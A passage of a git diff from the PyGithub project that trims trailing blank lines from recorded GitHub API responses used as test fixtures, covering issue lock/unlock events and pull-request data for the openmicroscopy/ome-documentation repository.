"MDExOkxvY2tlZEV2ZW50MjMxNjg5Njc5Mg==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316896792", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:42:52Z" }, { "id": 2316900651, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2OTAwNjUx", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316900651", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:44:22Z" } ] diff --git a/tests/ReplayData/Issue.testLock.txt b/tests/ReplayData/Issue.testLock.txt index c646cb5344..b16b09634f 100644 --- a/tests/ReplayData/Issue.testLock.txt +++ b/tests/ReplayData/Issue.testLock.txt @@ -7,5 +7,3 @@ None {"lock_reason": "resolved"} 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 03 May 2019 09:42:52 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1556880113'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.sailor-v-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C339:2746:A14FFE:15EFA60:5CCC0D1C')] - - diff --git a/tests/ReplayData/Issue.testUnlock.txt b/tests/ReplayData/Issue.testUnlock.txt index dfbadb2228..1d537d596c 100644 --- a/tests/ReplayData/Issue.testUnlock.txt +++ b/tests/ReplayData/Issue.testUnlock.txt @@ -7,5 +7,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 03 May 2019 09:44:22 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1556880113'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C373:6113:E26177:1C113F4:5CCC0D75')] - - diff --git a/tests/ReplayData/Issue131.setUp.txt b/tests/ReplayData/Issue131.setUp.txt index bf4003f79f..813635480d 100644 --- a/tests/ReplayData/Issue131.setUp.txt +++ b/tests/ReplayData/Issue131.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '6339'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4969'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 01 Feb 2013 11:04:39 GMT'), ('connection', 'keep-alive'), ('etag', '"4515ca61239f4659ce223447eca194ec"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:46:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":3198415,"fork":false,"statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks","created_at":"2012-01-17T10:20:53Z","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","permissions":{"push":false,"pull":true,"admin":false},"watchers_count":9,"collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","has_wiki":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","language":"Python","description":"Sphinx-based documentation for the Open Microscopy Environment ","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers":9,"assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","has_issues":true,"git_url":"git://github.com/openmicroscopy/ome-documentation.git","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","updated_at":"2013-02-01T11:04:39Z","open_issues":3,"master_branch":"develop","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","homepage":"http://openmicroscopy.org","git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","network_count":19,"issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","has_downloads":true,"pushed_at":"2013-02-01T11:04:38Z","private":false,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","forks":19,"name":"ome-documentation","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","forks_count":19,"commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","html_url":"https://github.com/openmicroscopy/ome-documentation","size":488,"archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","svn_url":"https://github.com/openmicroscopy/ome-documentation","default_branch":"develop","compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","open_issues_count":3,"teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","organization":{"type":"Organization","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","url":"https://api.github.com/users/openmicroscopy","login":"openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png"},"merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","full_name":"openmicroscopy/ome-documentation","owner":{"type":"Organization","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","url":"https://api.github.com/users/openmicroscopy","login":"openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png"},"comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}"} - diff --git a/tests/ReplayData/Issue131.testGetPullWithOrgHeadUser.txt b/tests/ReplayData/Issue131.testGetPullWithOrgHeadUser.txt index 01f5744b5a..934d01029e 100644 --- a/tests/ReplayData/Issue131.testGetPullWithOrgHeadUser.txt +++ b/tests/ReplayData/Issue131.testGetPullWithOrgHeadUser.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '16076'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4971'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 31 Jan 2013 16:47:37 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"90a545a2bec87c31fff795c572a21ade"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sun, 03 Feb 2013 16:46:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"deletions":6,"title":"Add note about libjpeg for PIL","state":"closed","number":204,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/204","head":{"user":{"type":"Organization","url":"https://api.github.com/users/imcf","avatar_url":"https://secure.gravatar.com/avatar/2e1c3dfd6e44c98d66556f9e454e7b99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"imcf","events_url":"https://api.github.com/users/imcf/events{/privacy}","organizations_url":"https://api.github.com/users/imcf/orgs","starred_url":"https://api.github.com/users/imcf/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/imcf/gists{/gist_id}","gravatar_id":"2e1c3dfd6e44c98d66556f9e454e7b99","repos_url":"https://api.github.com/users/imcf/repos","followers_url":"https://api.github.com/users/imcf/followers","id":2847663,"received_events_url":"https://api.github.com/users/imcf/received_events","subscriptions_url":"https://api.github.com/users/imcf/subscriptions","following_url":"https://api.github.com/users/imcf/following"},"label":"imcf:develop","repo":{"forks":0,"watchers_count":0,"compare_url":"https://api.github.com/repos/imcf/ome-documentation/compare/{base}...{head}","languages_url":"https://api.github.com/repos/imcf/ome-documentation/languages","git_refs_url":"https://api.github.com/repos/imcf/ome-documentation/git/refs{/sha}","url":"https://api.github.com/repos/imcf/ome-documentation","has_issues":false,"issues_url":"https://api.github.com/repos/imcf/ome-documentation/issues{/number}","contents_url":"https://api.github.com/repos/imcf/ome-documentation/contents/{+path}","commits_url":"https://api.github.com/repos/imcf/ome-documentation/commits{/sha}","issue_events_url":"https://api.github.com/repos/imcf/ome-documentation/issues/events{/number}","owner":{"type":"Organization","url":"https://api.github.com/users/imcf","avatar_url":"https://secure.gravatar.com/avatar/2e1c3dfd6e44c98d66556f9e454e7b99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"imcf","events_url":"https://api.github.com/users/imcf/events{/privacy}","organizations_url":"https://api.github.com/users/imcf/orgs","starred_url":"https://api.github.com/users/imcf/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/imcf/gists{/gist_id}","gravatar_id":"2e1c3dfd6e44c98d66556f9e454e7b99","repos_url":"https://api.github.com/users/imcf/repos","followers_url":"https://api.github.com/users/imcf/followers","id":2847663,"received_events_url":"https://api.github.com/users/imcf/received_events","subscriptions_url":"https://api.github.com/users/imcf/subscriptions","following_url":"https://api.github.com/users/imcf/following"},"default_branch":"develop","open_issues":0,"updated_at":"2013-01-14T15:20:58Z","svn_url":"https://github.com/imcf/ome-documentation","mirror_url":null,"milestones_url":"https://api.github.com/repos/imcf/ome-documentation/milestones{/number}","stargazers_url":"https://api.github.com/repos/imcf/ome-documentation/stargazers","trees_url":"https://api.github.com/repos/imcf/ome-documentation/git/trees{/sha}","events_url":"https://api.github.com/repos/imcf/ome-documentation/events","forks_url":"https://api.github.com/repos/imcf/ome-documentation/forks","notifications_url":"https://api.github.com/repos/imcf/ome-documentation/notifications{?since,all,participating}","merges_url":"https://api.github.com/repos/imcf/ome-documentation/merges","contributors_url":"https://api.github.com/repos/imcf/ome-documentation/contributors","assignees_url":"https://api.github.com/repos/imcf/ome-documentation/assignees{/user}","full_name":"imcf/ome-documentation","ssh_url":"git@github.com:imcf/ome-documentation.git","issue_comment_url":"https://api.github.com/repos/imcf/ome-documentation/issues/comments/{number}","statuses_url":"https://api.github.com/repos/imcf/ome-documentation/statuses/{sha}","homepage":"http://openmicroscopy.org","archive_url":"https://api.github.com/repos/imcf/ome-documentation/{archive_format}{/ref}","branches_url":"https://api.github.com/repos/imcf/ome-documentation/branches{/branch}","watchers":0,"created_at":"2013-01-10T15:32:44Z","has_downloads":true,"open_issues_count":0,"labels_url":"https://api.github.com/repos/imcf/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/imcf/ome-documentation/downloads","comments_url":"https://api.github.com/repos/imcf/ome-documentation/comments{/number}","subscribers_url":"https://api.github.com/repos/imcf/ome-documentation/subscribers","collaborators_url":"https://api.github.com/repos/imcf/ome-documentation/collaborators{/collaborator}","keys_url":"https://api.github.com/repos/imcf/ome-documentation/keys{/key_id}","size":128,"pulls_url":"https://api.github.com/repos/imcf/ome-documentation/pulls{/number}","blobs_url":"https://api.github.com/repos/imcf/ome-documentation/git/blobs{/sha}","tags_url":"https://api.github.com/repos/imcf/ome-documentation/tags{/tag}","fork":true,"html_url":"https://github.com/imcf/ome-documentation","clone_url":"https://github.com/imcf/ome-documentation.git","subscription_url":"https://api.github.com/repos/imcf/ome-documentation/subscription","teams_url":"https://api.github.com/repos/imcf/ome-documentation/teams","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","git_url":"git://github.com/imcf/ome-documentation.git","language":"Python","git_tags_url":"https://api.github.com/repos/imcf/ome-documentation/git/tags{/sha}","private":false,"id":7543421,"master_branch":"develop","pushed_at":"2013-01-10T16:04:23Z","has_wiki":true,"forks_count":0,"git_commits_url":"https://api.github.com/repos/imcf/ome-documentation/git/commits{/sha}","hooks_url":"https://api.github.com/repos/imcf/ome-documentation/hooks"},"sha":"e37990a177fbb47a481663e79015d1862d84e20c","ref":"develop"},"commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/204/commits","_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/204/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/204"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/204"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/204"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/204/comments"}},"assignee":null,"updated_at":"2013-01-14T15:20:58Z","mergeable_state":"unknown","comments":3,"commits":1,"changed_files":1,"closed_at":"2013-01-14T15:20:58Z","user":{"type":"User","url":"https://api.github.com/users/ehrenfeu","avatar_url":"https://secure.gravatar.com/avatar/d78ee38089403f67735ddbdc80b69745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"ehrenfeu","events_url":"https://api.github.com/users/ehrenfeu/events{/privacy}","organizations_url":"https://api.github.com/users/ehrenfeu/orgs","starred_url":"https://api.github.com/users/ehrenfeu/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/ehrenfeu/gists{/gist_id}","gravatar_id":"d78ee38089403f67735ddbdc80b69745","repos_url":"https://api.github.com/users/ehrenfeu/repos","followers_url":"https://api.github.com/users/ehrenfeu/followers","id":697157,"received_events_url":"https://api.github.com/users/ehrenfeu/received_events","subscriptions_url":"https://api.github.com/users/ehrenfeu/subscriptions","following_url":"https://api.github.com/users/ehrenfeu/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/204","additions":8,"merged_at":"2013-01-14T15:20:58Z","review_comments":0,"comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/204/comments","merge_commit_sha":"d6d517c48187befdfdd1dc6784542d0976433ddd","created_at":"2013-01-10T16:20:56Z","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/204.diff","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/204","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/204/comments","merged_by":{"type":"User","url":"https://api.github.com/users/joshmoore","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","repos_url":"https://api.github.com/users/joshmoore/repos","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"received_events_url":"https://api.github.com/users/joshmoore/received_events","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"milestone":null,"body":"If `libjpeg` is not installed while building PIL the JPEG support for some of the python scripts is missing (e.g. the \"Split View\" from the Figure scripts will fail).\r\n\r\nThe windows documentation probably doesn't need to be updated since PIL is provided as a binary distribution for that platform (and hopefully comes with JPEG support).","id":3623392,"merged":true,"mergeable":null,"base":{"user":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"received_events_url":"https://api.github.com/users/openmicroscopy/received_events","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"label":"openmicroscopy:develop","repo":{"forks":19,"watchers_count":9,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_issues":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"received_events_url":"https://api.github.com/users/openmicroscopy/received_events","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"default_branch":"develop","open_issues":3,"updated_at":"2013-02-01T11:04:39Z","svn_url":"https://github.com/openmicroscopy/ome-documentation","mirror_url":null,"milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","homepage":"http://openmicroscopy.org","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","watchers":9,"created_at":"2012-01-17T10:20:53Z","has_downloads":true,"open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","git_url":"git://github.com/openmicroscopy/ome-documentation.git","language":"Python","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","private":false,"id":3198415,"master_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_wiki":true,"forks_count":19,"git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks"},"sha":"66b416256fd3333771b9722582e2801df96c4a99","ref":"develop"},"review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/204.patch"} - diff --git a/tests/ReplayData/Issue131.testGetPullsWithOrgHeadUser.txt b/tests/ReplayData/Issue131.testGetPullsWithOrgHeadUser.txt index 8f656a1fed..59e7fa431c 100644 --- a/tests/ReplayData/Issue131.testGetPullsWithOrgHeadUser.txt +++ b/tests/ReplayData/Issue131.testGetPullsWithOrgHeadUser.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '424635'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 02 Feb 2013 21:21:49 GMT'), ('connection', 'keep-alive'), ('etag', '"a91db68d9aa99fb306c666e1363ab50c"'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:46:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/234/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/234"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/234"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/234"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/234/comments"}},"title":"Homebrew installation command","state":"closed","number":234,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/234","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:homebrew_install_cmd","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/